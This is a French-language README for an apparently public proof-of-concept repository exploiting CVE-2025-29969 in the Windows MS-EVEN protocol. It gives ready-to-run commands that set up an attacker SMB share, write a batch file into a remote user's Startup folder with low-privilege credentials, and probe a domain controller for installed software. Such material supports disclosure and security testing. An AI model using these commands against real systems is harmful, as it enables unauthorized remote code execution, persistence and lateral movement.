EventLogin-CVE-2025-29969

EventLogin - CVE-2025-29969

EventLogin est une vulnérabilité Time-of-check time-of-use dans le protocole MS-EVEN. Cette vulnérabilité permet aux utilisateurs à faibles privilèges d'écrire des fichiers arbitraires sur une machine distante, contournant ainsi la nécessité d'un compte Administrateur pour une écriture distante.

Il y a deux scripts dans ce dépôt : l'un exploite la vulnérabilité (write_file_remotely.py), et l'autre utilise l'une des primitives de la vulnérabilité pour vérifier si un fichier distant existe ou non, en tant qu'utilisateur à faibles privilèges, ce qui est utile, par exemple, pour voir les programmes installés sur d'autres ordinateurs du domaine.

Vous pouvez lire l'analyse complète ici :

EventLog-in : Propagation avec des identifiants faibles en utilisant le service Eventlog dans Microsoft Windows

Utilisation de write_file_remotely

Tout d'abord, créez un partage SMB en utilisant impacket :

impacket-smbserver -smb2support Share /tmp/safebreach

Remarque : le script utilise 'Share' comme nom de partage codé en dur, modifiez-le si nécessaire.

Ensuite, exécutez le script write_file_remotely.py et incluez tous les paramètres requis :

1. ip_to_attack - L'adresse IP de la machine distante.
2. smb_server_ip - L'adresse IP de la machine sur laquelle vous avez ouvert le partage, peut être la machine de l'attaquant.
3. username et password - Les identifiants du compte à faibles privilèges.
4. valid_evtx_file_path - Le chemin d'un fichier EVTX valide que vous stockez dans le même partage que vous avez ouvert précédemment.
5. local_file_path - Le fichier que vous souhaitez télécharger.
6. remote_file_path - Le chemin distant vers lequel vous souhaitez télécharger.

Exemple :

python write_file_remotely.py 192.168.56.102 192.168.56.105 lowuser Test123 "/tmp/safebreach/Sample.evtx" "calc.bat" "C:\\Users\\lowuser\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\target.bat"

Utilisation de check_if_exists

Ce script n'utilise pas la vulnérabilité elle-même, il utilise uniquement la primitive 'CreateFile' et peut vous aider à reconnaître le réseau.

Par exemple, le répertoire Program Files d'une machine distante dans un domaine est accessible à l'ensemble du groupe 'Users', ce qui signifie qu'en utilisant les identifiants de N'IMPORTE QUEL utilisateur, vous pouvez vérifier si un fichier existe ou non sur une autre machine.

Il accepte les paramètres suivants :

1. ip_to_attack - Adresse IP à reconnaître
2. username - Nom d'utilisateur et mot de passe d'un utilisateur du domaine.
3. filepath_to_check - Un fichier à vérifier

Par exemple, vérifiez si wireshark est installé sur le DC (192.168.56.57) en utilisant un utilisateur à faibles privilèges.

python check_if_exists.py 192.168.56.57 lowuser Password1! "C:\Program Files\Wireshark"

Result:
FILE_EXISTS_AND_IS_DIRECTORY